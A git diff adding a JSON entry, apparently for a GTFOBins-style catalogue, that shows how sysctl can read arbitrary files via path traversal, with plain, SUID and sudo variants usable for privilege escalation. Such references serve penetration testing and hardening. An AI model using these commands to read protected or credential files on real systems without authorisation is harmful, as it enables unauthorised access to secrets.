diff --git a/data/sysctl.json b/data/sysctl.json new file mode 100644 index 0000000..ac4fe27 --- /dev/null +++ b/data/sysctl.json @@ -0,0 +1,20 @@ +{ + "description": "The '-p' argument can also be used in place of '-n'. In both cases though the output might get corrupted, so this might not be suitable to read binary files.", + "functions": { + "file-read": [ + { + "code": "/usr/sbin/sysctl -n \"/../../[file]\"\n" + } + ], + "suid": [ + { + "code": "./sysctl -n \"/../../[file]\"\n" + } + ], + "sudo": [ + { + "code": "sudo sysctl -n \"/../../[file]\"\n" + } + ] + } +} \ No newline at end of file